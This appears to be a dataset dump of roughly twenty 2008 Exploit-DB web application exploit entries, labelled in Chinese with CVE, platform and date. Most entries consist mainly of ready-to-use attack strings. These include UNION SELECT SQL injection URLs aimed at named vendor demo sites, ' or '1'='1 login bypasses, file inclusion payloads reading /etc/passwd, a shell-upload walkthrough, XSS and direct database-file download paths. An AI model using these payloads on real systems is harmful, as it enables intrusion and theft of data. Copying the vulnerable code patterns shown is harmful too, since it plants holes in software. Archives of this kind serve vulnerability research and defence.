QLWD/code_shield huggingface dataset:
标题: ASPSiteWare Automotive Dealer 1.0/2.0 - SQL Injection EDB-ID: 7463 CVE: 2008-6874 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-14 漏洞利用脚本: ###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : Automotive Dealer V1/V2
#download : null
#Demo     :  http://www.aspsiteware.com/Auto1/
      http://www.aspsiteware.com/auto2/auto2/


###########################################################################

#Exploits :

--=[SQL INJECTION]=--
http://www.aspsiteware.com/Auto1/type.asp?iType=4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+users#
http://www.aspsiteware.com/auto2/auto2/type.asp?iType=4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+users#

#Greetz For CrimeIRC NetWork  [ IRC.CrimeIRC.Net ] Syst3m UnkOwn and all Staff

###########################################################################

# milw0rm.com [2008-12-14] URL: https://www.exploit-db.com/exploits/7463
标题: CFAGCMS 1 - Remote File Inclusion EDB-ID: 7459 CVE: 2008-5922 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-14 漏洞利用脚本: Author : BeyazKurt - Bey4zKurt@Gmail.Com

Script : CFAGCMS
Download : http://sourceforge.net/project/showfiles.php?group_id=197936

Vuln :

Page themes/default/index.php, Line 15-16 :

<?php include($main);?>
<?php include($right);?>

Site.Com/cfagcms/themes/default/index.php?main=SHELL
Site.Com/cfagcms/themes/default/index.php?right=SHELL

SHQÄ°PTAR!
Siyasetle ilgili biÅŸi sÃ¶liyimmi :p
 
FENERBAHÃ‡EE (H)

# milw0rm.com [2008-12-14] URL: https://www.exploit-db.com/exploits/7459
标题: CodeAvalanche Directory - Database Disclosure EDB-ID: 7468 CVE: 2008-5898 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-15 漏洞利用脚本: #########################################################
---------------------------------------------------------
Portal Name: CADirectory
Download : http://www.truecontent.info/codeavalanche/asp-directory-script.php
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DD)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/CAdirectory/_private/CADirectory.mdb
 
---------------------------------

# milw0rm.com [2008-12-15] URL: https://www.exploit-db.com/exploits/7468
标题: Mediatheka 4.2 - 'lang' Local File Inclusion EDB-ID: 7458 CVE: 2008-5894 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-14 漏洞利用脚本: [START]

#########################################################################################
[0x01] Informations:

Script         : Mediatheka 4.2
Download       : http://www.hotscripts.com/jump.php?listing_id=79106&jump_type=1
Vulnerability  : Local File Inclusion
Author         : Osirys
Contact        : osirys[at]live[dot]it
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay, str0ke

#########################################################################################
[0x02] Bug:[Local File Inclusion]
######

Bugged file is: /[path]/index.php

[CODE]

 if(isset($_GET['lang']))
  $lang = $_GET['lang'];
 else
  $lang = 'en';
 include("langs/$lang.php");

[/CODE]


[!] EXPLOIT: /[path]/index.php?lang=[local_file_to_include]
                                    ../../../../../../../../../../../etc/passwd%00
#########################################################################################

[/END]

# milw0rm.com [2008-12-14] URL: https://www.exploit-db.com/exploits/7458
标题: ASPSiteWare Home Builder 1.0/2.0 - SQL Injection EDB-ID: 7462 CVE: 2008-5774 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-14 漏洞利用脚本: ###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : Home Builder V1.0 / V2.0
#download : null
#Demo     : http://www.aspsiteware.com/Home1/
     http://www.aspsiteware.com/home2/home2/


###########################################################################

#Exploits :

--=[SQL INJECTION]=--
http://www.aspsiteware.com/Home1/type.asp?iType=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users
http://www.aspsiteware.com/home2/home2/detail.asp?iPro=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users
http://www.aspsiteware.com/home2/home2/type2.asp?iType=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users


#Greetz For CrimeIRC NetWork  [ IRC.CrimeIRC.Net ] Syst3m UnkOwn and all Staff

###########################################################################

# milw0rm.com [2008-12-14] URL: https://www.exploit-db.com/exploits/7462
标题: AvailScript Article Script - Arbitrary File Upload EDB-ID: 7456 CVE: 2008-6900 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-14 漏洞利用脚本: [~] Availscript Article Script Remote File Upload Vulnerability
[~]
[~] ----------------------------------------------------------
[~] Discovered By: S.W.A.T.   svvateam@yahoo.com
[~]
[~] Home: www.batlagh.com
[~]
[~] Script Page: http://www.availscript.com/article_script.php
[~] -----------------------------------------------------------

Xpl:

1.First Register Into The Site ( link: www.site.com/[path]/signup.php )

2.Login With Your Email & Password

3.After That Go To "Add Pen/Author Name" ( link: www.site.com/[path]/memberarea/addpen.php )
& Write Your Author & Select Your Shell.php like: c99.php

4.Your Shell Will Be Appear In This Folder ( link: www.site.com/[path]/photos/ )

5.Your Shell Will Be Renamed With Random Text like: cc1bd-c99.php

6.Hack The Site ;)


Demo:

http://www.availscript.com/article_script/



[~] Special Thanks To:

Str0ke, All My Friends, Iranian Hackers & All Muslim

# milw0rm.com [2008-12-14] URL: https://www.exploit-db.com/exploits/7456
标题: PHP weather 2.2.2 - Local File Inclusion / Cross-Site Scripting EDB-ID: 7451 CVE: 2008-5771 2008-5770 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-14 漏洞利用脚本: ****(Lfi/xss)****

script: phpweather-2.2.2

***************************************************************************
download from:http://downloads.sourceforge.net/phpweather/phpweather-2.2.2.zip?modtime=1087430400&big_mirror=0
   
***************************************************************************
vul:
/test.php

line 48:
 require(PHPWEATHER_BASE_DIR . "/output/pw_text_$language.php");
   
***************************************************
xpl:
www.site.com/path/test.php?metar=()&language=[Lfi]%00
.....................................................
www.site.com/path/index.php?cc=[Lfi]
....................................................
xss:
www.site.com/path/config/make_config.php/>"><ScRiPt>alert(0)</ScRiPt>
..................................................

Author: ahmadbady from:iran

***************************************************

# milw0rm.com [2008-12-14] URL: https://www.exploit-db.com/exploits/7451
标题: CodeAvalanche FreeForum - Database Disclosure EDB-ID: 7450 CVE: 2008-5932 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-14 漏洞利用脚本: ####################################################################################################
# FreeForum Database Disclosure Vulnerability                                                      #
# Â© Ghost Hacker - REAL-H.COM                                                                      #
####################################################################################################
#[~] Author : Ghost Hacker                                                                         #
#[~] Homepage : http://Real-h.com                                                                  #
#[~] Contact Me : Ghost-r00t[at]Hotmail[dot]com                                                    #
#[~] Name Script : FreeForum                                                                       #
#[~] Download : http://www.truecontent.info/codeavalanche/asp-forum-script.php                     #
####################################################################################################
#[~]Exploit                                                                                        #
# http://xxxx.com/[path]/CAForum/_private/CAForum.mdb                                              #
####################################################################################################
#[~]Greets :           &nbs p;                                                                     #
# Mr.SaFa7 [v4-team.com] , AlpHaNiX , Qabandi                                                      #
# All Members Real-h.com and v4-team.net , All My Friends                                          #
####################################################################################################

# milw0rm.com [2008-12-14] URL: https://www.exploit-db.com/exploits/7450
标题: iyzi Forum 1.0b3 - Database Disclosure EDB-ID: 7449 CVE: 2008-5901 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-14 漏洞利用脚本: ####################################################################################################
# iyzi Forum (db/iyziforum.mdb) Database Disclosure Vulnerability                                  #
# Â© Ghost Hacker - REAL-H.COM                                                                      #
####################################################################################################
#[~] Author : Ghost Hacker                                                                         #
#[~] Homepage : http://Real-h.com                                                                  #
#[~] Contact Me : Ghost-r00t[at]Hotmail[dot]com                                                    #
#[~] Name Script : iyzi Forum                                                                      #
#[~] Download : http://www.iyziforum.com/                                                          #
####################################################################################################
#[~]Exploit                                                                                        #
# http://xxxx.com/[path]/db/iyziforum.mdb                                                          #
#[~]Live Demo     &nb sp;                                                                          #
# http://www.iyziforum.com/demos/kJd32D33J11lOk6f7n2/db/iyziforum.mdb                              #
####################################################################################################
#[~]Greets :                                                                                       #
# Mr.SaFa7 [v4-team.com] , AlpHaNiX , Qabandi                                                      #
# All Members Real-h.com and v4-team.net , All My Friends                                          #
####################################################################################################

# milw0rm.com [2008-12-14] URL: https://www.exploit-db.com/exploits/7449
标题: FlexPHPNews 0.0.6 / PRO - Authentication Bypass EDB-ID: 7443 CVE: 2008-5927 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-14 漏洞利用脚本: [START]

#########################################################################################
[0x01] Informations:

Script         : FlexPHPNews PRO 0.0.6
Script        : FlexPHPNews 0.0.6
Download       : http://www.hotscripts.com/jump.php?listing_id=24219&jump_type=1  [0.0.6 Pro]
Download       : http://www.hotscripts.com/jump.php?listing_id=22130&jump_type=1  [0.0.6]
Vulnerability  : Sql Injection (Auth bypass)
Author         : Osirys
Contact        : osirys[at]live[dot]it
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay, str0ke

#########################################################################################
[0x02] Bug:[Sql Injection (Auth bypass)]
######

Bugged file is: /[path]/admin/usercheck.php

[CODE]

if (!empty($logincheck)){
$sql = "select username,adminid from newsadmin where username='$checkuser' and password='$checkpass'";
$results = $db->select($sql);

[/CODE]


[!] EXPLOIT DETAILS:

 [1] Go to /[path]/admin/index.php
 [2] Put as username and password the following sql code: ' or '1=1
 [3] You are the admin now, bypass succesfull =)

#########################################################################################

[/END]

# milw0rm.com [2008-12-14] URL: https://www.exploit-db.com/exploits/7443
标题: Simple Text-File Login script (SiTeFiLo) 1.0.6 - File Disclosure / Remote File Inclusion EDB-ID: 7444 CVE: 2008-5763 2008-5762 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-14 漏洞利用脚本: [START]

#########################################################################################
[0x01] Informations:

Script         : Simple Text-File Login script 1.0.6
Download       : http://www.hotscripts.com/jump.php?listing_id=36777&jump_type=1
Vulnerability  : Remote File Inclusion / Sensitive Data Disclosure
Author         : Osirys
Contact        : osirys[at]live[dot]it
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay
Notes          : *

* The name of this login system is Simple Text-File Login script, so we can already 
  understand that this script will use a .txt file to do his job. So it's like if
  the coder didn't think that a login system like this isn't vulnerable. Weird !
  Anyway, it's vulnerable to Remote File Inclusion also, here we are !

#########################################################################################
[0x02] Bug:[Remote File Inclusion]
######

Bugged file is: /[path]/slogin_lib.inc.php

[CODE]
90.  if (!isset ($slogin_path)) {
91.    $slogin_path = "";
92. }
[/CODE]

If $slogin_path is not given, becomes a null variable. Scrolling down the source code,
you can see an include of that variable everywhere.
Just one of the few vulnerable includes:

[CODE] include_once ($slogin_path . "header.inc.php"); [/CODE]

FIX: Just declare $slogin_path. An example of a bugged inclusion in the source is this:

[CODE] include_once ($slogin_path . "header.inc.php"); [/CODE]

The header.inc.php file, such as all the files of this cms, is in the same dir of
slogin_lib.inc.php, so a fix could be just to include the file, without including
a variable, which should be null becouse all the files are in the same dir.

[CODE] include_once ("header.inc.php"); # <-- This is a secure include. [/CODE]


[!] EXPLOIT: /[path]/slogin_lib.inc.php?slogin_path=[remote_txt_shell]

########################################################################################
[0x03] Bug:[Sensitive Data Disclosure]
######

* As I already said, this is not a real bug, becouse is the intention of the author
  to use a .txt file as a login storage. But it's weird, it's unsecure ! Maybe he just 
  sees the goodness of people (hehe xD)

In this login system, sensible datas like username and password are stored in a local
text file , so we can get sensitive information just going to this txt file . The name of
this file is set in slogin_lib.inc.php. By default is: slog_users.txt

[!] EXPLOIT: /[path]/slog_users.txt

#########################################################################################

[/END]

# milw0rm.com [2008-12-14] URL: https://www.exploit-db.com/exploits/7444
标题: Discussion Web 4 - Remote Database Disclosure EDB-ID: 7445 CVE: 2008-5886 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-14 漏洞利用脚本: #########################################################
---------------------------------------------------------
Portal Name: Discussion Web
Version : 4.0
Vendor : http://www.takempis.com/aboutdiscussion.htm
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DD)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/_private/discussion.mdb

---------------------------------

# milw0rm.com [2008-12-14] URL: https://www.exploit-db.com/exploits/7445
标题: TmaxSoft JEUS - Alternate Data Streams File Disclosure EDB-ID: 7442 CVE: 2008-6528 类型: REMOTE 平台: WINDOWS 发布日期: 2008-12-12 漏洞利用脚本: Title: TmaxSoft JEUS Alternate Data Streams Vulnerability
Author: Simon Ryeo(bar4mi (at) gmail)
Severity: High
Impact: Remote File Disclosure
Vulnerable Version: < JEUS 5: Fix#26 on NTFS
References:
 - http://www.microsoft.com/technet/security/bulletin/ms98-003.mspx
 - http://www.tmaxsoft.com
 - http://www.tmax.co.kr/tmaxsoft/index.screen
History:
 - 10.22.2008: Initiate notify
 - 10.23.2008: The vendor responded
 - 11.21.2008: The vendor replied detail information.
 - 12.12.2008: The vendor finished the preparation for patches and
responses.

Description:
On NTFS TmaxSoft JEUS, which is an famous web application server, contained
a vulnerability that allows an attacker to obtain web application source
files. This was caused by ADSs(Alternate Data Streams; ::$DATA).
JEUS couldn't handle ::$DATA. So it treated test.jsp::$DATA as an normal
file when it requested.
This is similar to the past MS Windows IIS vulnerability(Bid 0149).

Exploit:
The attacker can obtain them easily using an URL request.
http://www.target.com/foo/bar.jsp::$DATA

Solution:
The vendor released solutions for this problem.
Method 1) Upgrade JEUS
 - JEUS 5:
http://technet.tmax.co.kr/kr/download/platformList.do?groupCode=WAS&product
Code=Jeus&versionCode=5.0.0.26.P&fc=down&sc=down_product&mid=binary
 - JEUS 4:
    a. Use to change WebtoB function
    b. Upgrade JEUS to version 6 (the service for version 4 will be out of
service after Dec 2009)
Method 2) Use to change WebtoB fuction
 - Change the message communication method from 'URI' to 'EXT'
   (This is valid whether you use the embed WebtoB to JEUS or the single
WebtoB)
Method 3) Install the patch (ex. jext.jar)
 - The patch file will be valid until Jan. 2009
   (Target version: 3.3.7.15, 4.0, 4.1, 4.2 final, 5.x(each verison will be
offered below Fix#26)

Please refer to TmaxSoft Homepage for detail support palns. It will be
valid until Mar. 2009.
(http://www.tmaxsoft.com)

# milw0rm.com [2008-12-12] URL: https://www.exploit-db.com/exploits/7442
标题: ASPired2Quote - Remote Database Disclosure EDB-ID: 7446 CVE: 2008-5885 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-14 漏洞利用脚本: #########################################################
---------------------------------------------------------
Portal Name: ASPired2Quote
Vendor : http://thenetguys.us/Home/Quote.asp
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DD)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/admin/quote.mdb
 
---------------------------------
Victem :
http://thenetguys.us/ASPired2/Quote/index.asp

# milw0rm.com [2008-12-14] URL: https://www.exploit-db.com/exploits/7446
标题: ASP-DEV Internal E-Mail System - Authentication Bypass EDB-ID: 7447 CVE: 2008-5926 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-14 漏洞利用脚本: #########################################################
---------------------------------------------------------
Portal Name: Internal E-Mail System
Vendor : http://asp-dev.com/main.asp?page=41
Download : http://asp-dev.com/download.asp?did=4
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (Auth Bypass) SQL Injection Vulnerability
---------------------------------------------------------
#########################################################
[Auth Bypass]:
user: ' or '1'='1
pass: ' or '1'='1
 
---------------------------------
Victem :
http://asp-dev.com/message

# milw0rm.com [2008-12-14] URL: https://www.exploit-db.com/exploits/7447
标题: FLDS 1.2a - 'redir.php' SQL Injection EDB-ID: 7453 CVE: 2008-5928 2008-5779 2008-5778 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-14 漏洞利用脚本: #Free Links Directory Script (id) SQL Injection Vulnerability


#Author: nuclear


#site:
http://flds-script.com


#vuln:
http://localhost/[path]/redir.php?id=-1%20UNION%20SELECT%201,2,@@version,4,5,6,7,8,9,10,11/*


#vulnerable code:
$ida = $_GET['id'];
$link = mysql_fetch_array(mysql_query("select * from links where id=$ida"));
$idcheck = mysql_numrows(mysql_query("select * from links where id=$ida"));


#demo:
http://flds-script.com/demo/redir.php?id=-1 UNION SELECT 1,2,@@version,4,5,6,7,8,9,10,11

#notes:
the injection does not work if trying to comment out the rest of the query.The result page will be a 404 but
you can get the data of the injection in the url


#greetz Mi4night, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar

# milw0rm.com [2008-12-14] URL: https://www.exploit-db.com/exploits/7453
标题: the net guys aspired2blog - SQL Injection / File Disclosure EDB-ID: 7436 CVE: 2008-5931 2008-5930 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-12 漏洞利用脚本: #########################################################
---------------------------------------------------------
Portal Name: ASPIred2Blog
Vendor : http://thenetguys.us/Home/Blog.asp
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (SQL,DD)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/admin/blog.mdb
 
[SQL]:
http://site.com/[Path]/admin/blog_comments.asp?BlogID='[SQL]
 
---------------------------------
Victem :
http://thenetguys.us/ASPired2/Blog/index.asp

# milw0rm.com [2008-12-12] URL: https://www.exploit-db.com/exploits/7436
标题: VP-ASP Shopping Cart 6.50 - Database Disclosure EDB-ID: 7438 CVE: 2008-5929 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-12 漏洞利用脚本: VP-ASP Shopping Cart V6.50 Database Disclosure Vulnerability
##############################
=============================
         ----- Script information -----
=============================
# VP-ASP Shopping Cart V6.50
## Script Website :  www.vpasp.com
# Found by  :  Dxil
## Contact :  z1cx@hotmail.com
### Dxil@v4-team.net
##############################
=============================
Dork : powered by vpasp v 6.50
=============================
=============================
               -------- Exploit --------
=============================
/database/shopping650.mdb

---->> www.site.com/database/shopping650.mdb

=============================
             --------- Greetz ---------
=============================

V4-team ,, S.V.T ,, Reno ,, Ghost Hacker ..

# milw0rm.com [2008-12-12] URL: https://www.exploit-db.com/exploits/7438